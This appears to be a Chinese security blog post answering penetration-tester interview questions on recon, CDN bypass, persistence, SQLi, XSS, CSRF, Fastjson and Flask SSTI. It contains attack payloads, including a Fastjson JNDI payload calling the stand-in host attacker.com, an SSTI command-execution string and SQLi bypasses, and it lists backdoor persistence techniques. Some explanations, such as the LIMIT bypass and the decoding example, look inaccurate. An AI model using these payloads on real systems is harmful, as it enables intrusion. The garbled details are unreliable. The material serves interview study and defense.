网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
字某跳动-渗透测试实习生
渗透流程信息收集如何处理子域名爆破中的泛解析问题绕过CDN寻找真实IPPHPINFO页面关注信息有没有了解权限维持举例一个漏洞详细描述输出到href的xss如何防御samesite防御CSRF的原理CSRF的防御json格式的CSRF如何防御浏览器解析顺序和解码顺序过滤逗号的sql注入如何绕过过滤limit后的逗号如何绕过fastjson相关漏洞Python相关的漏洞回答(flask、SSTI原理)
1. 渗透流程
- 情报收集:
- 被动收集:Whois查询、证书透明度日志(CT Logs)、GitHub代码泄露。
- 主动探测:子域名爆破(使用Amass/Sublist3r)、端口扫描(Masscan/Nmap)。
- 漏洞分析:
- 自动化扫描:AWVS/Nessus检测常见漏洞(SQLi/XSS)。
- 手动验证:验证误报漏洞,如逻辑漏洞(越权/支付绕过)。
- 攻击利用:
- 漏洞利用:通过Metasploit或定制化EXP攻击目标(如ThinkPHP RCE)。
- 权限提升:利用内核漏洞(DirtyCow)或SUID提权(find / -perm -4000)。
- 权限维持:
- 植入WebShell:加密后门(如蚁剑AES加密Shell)。
- 系统后门:Windows注册表后门、Linux cronjob定时任务。
- 横向移动:
- 内网渗透:利用Responder抓取Net-NTLM哈希、Pass-The-Hash攻击。
- 数据窃取:通过DNS隧道或HTTP隐蔽信道外传数据。
2. 子域名爆破中的泛解析问题处理
泛解析问题:所有未注册子域名解析到同一IP(如*.example.com → 1.1.1.1)。
解决方案:
- 响应指纹去重:
- 对比HTTP响应头(Server/Cookie)和页面哈希(如SimHash)。
- 使用工具(FFUF/GoBuster)的
-mc
参数过滤重复状态码。- 证书透明度日志:
- 通过crt.sh 查询合法子域名证书记录。
- 历史DNS记录:
- 使用SecurityTrails/ViewDNS查询历史A记录。
- 字典智能生成:
- 基于目标业务关键词生成子域(如dev/api/test)。
3. 绕过CDN寻找真实IP的六种方法
- DNS历史记录:通过DNSDB查询目标域名历史解析IP。
- 全球Ping测试:多地服务器(AWS EC2/DigitalOcean)执行
ping
或curl
。- SSL证书关联:Censys搜索相同证书的IP(
parsed.names:example.com
)。- 敏感子域名:访问
mail.example.com
或internal.example.com
可能直连真实IP。- 邮件服务器追踪:注册目标服务触发邮件,解析邮件头
Received
字段。- SSRF漏洞利用:通过目标服务器的SSRF漏洞获取内网IP。
4. PHPINFO页面关键信息审计
- 敏感配置项:
allow_url_fopen=On
:允许远程文件包含(RFI)。disable_functions
:未禁用system
/shell_exec
等危险函数。- 环境变量泄露:
$_SERVER['DB_HOST']
、$_ENV['API_KEY']
。- 临时文件路径:
upload_tmp_dir
可能暴露可写目录路径。- 扩展模块风险:
- 启用
imap
扩展可能导致CVE-2018-19518漏洞。
5. 权限维持技术详解
- WebShell持久化:
- 隐藏文件名:
.config.php
+ 修改文件时间戳(touch -t)。- 系统级后门:
- Windows:注册表键
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
添加启动脚本。- Linux:
/etc/rc.local
添加反向Shell命令。- 内存驻留马:
- Java内存马:通过JSP注入Filter型内存Shell。
- PHP内存马:利用
php-fpm
未授权访问注入。
6. 漏洞示例:SQL注入(以MySQL为例)
漏洞原理:未过滤用户输入的
id
参数直接拼接SQL语句。
利用Payload:/product?id=1' UNION SELECT 1,@@version,3-- -
攻击效果:泄露数据库版本、用户权限等敏感信息。
修复方案:
- 使用预编译语句(PDO/MyBatis)。
- 输入过滤:正则匹配
/[^0-9]/
限制为数字。
7. 输出到href的XSS防御
漏洞示例:html
<a href="{{ user_input }}">Link</a> <!-- 用户输入为javascript:alert(1) -->
防御措施:
- 协议白名单:仅允许
http://
/https://
/mailto:
。- URL编码:对
href
值进行HTML实体编码(如&
→&
)。- CSP策略:设置
Content-Security-Policy: default-src 'self'
。- 框架安全:Vue/React自动转义
href
中的动态内容。
8. SameSite防御CSRF原理
- SameSite=Strict:完全禁止跨站请求携带Cookie(如银行转账)。
- SameSite=Lax:允许GET请求携带Cookie(适用于普通站点)。
- SameSite=None:必须与
Secure
属性共用(仅限HTTPS)。
9. CSRF防御方案
- Token验证:表单中嵌入随机Token(如Django的
{% csrf_token %}
)。- 双重Cookie:请求头中携带Cookie哈希值(如
X-CSRF-Token: hash(cookie)
)。- Referer检查:验证请求来源域名是否在白名单内。
10. JSON格式CSRF防御
- Content-Type校验:拒绝非
application/json
请求。- Token嵌入JSON:json
{ "data": "test", "csrf_token": "random_value" }
- 禁用CORS:设置
Access-Control-Allow-Origin
为特定域名。
11. 浏览器解析与解码顺序
- HTML解析优先:
- 解析标签和实体(如
<
→<
)。- JavaScript执行:
- 处理Unicode转义(如
\u003c
→<
)。- URL解码:
- 转换
%20
为空格。
示例:html<a href="javascript:alert(1%26%23x29;)"></a>
解码顺序:
%26
→&
→)
→)
→ 最终执行alert(1)
。
12. 过滤逗号的SQL注入绕过
场景:
SELECT 1,2,3
被拦截。
绕过方法:
- JOIN语法:sql
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
- LIMIT OFFSET:sql
UNION SELECT 1 FROM users LIMIT 1 OFFSET 1
13. 过滤LIMIT逗号的绕过
场景:
LIMIT 0,1
被拦截。
绕过方法:
- SQL Server语法:sql
SELECT TOP 1 * FROM users
- 变量赋值(MySQL):sql
SELECT * FROM users LIMIT 1 OFFSET 0
14. Fastjson漏洞解析
漏洞根源:反序列化时自动调用
getter/setter
方法(如CVE-2022-25845)。
利用条件:目标开启autoType
功能。
Payload示例:json{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/exp" }
修复方案:升级到Fastjson 1.2.83+,关闭
autoType
。
15. Python漏洞:Flask SSTI
漏洞原理:未过滤用户输入直接渲染模板。
示例代码:python@app.route('/hello/<name>') def hello(name): return render_template_string(f'Hello {name}!')
攻击Payload:python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
防御措施:
- 使用安全模板引擎(Jinja2自动转义)。
- 输入过滤:禁止用户输入
{{}}
等特殊字符。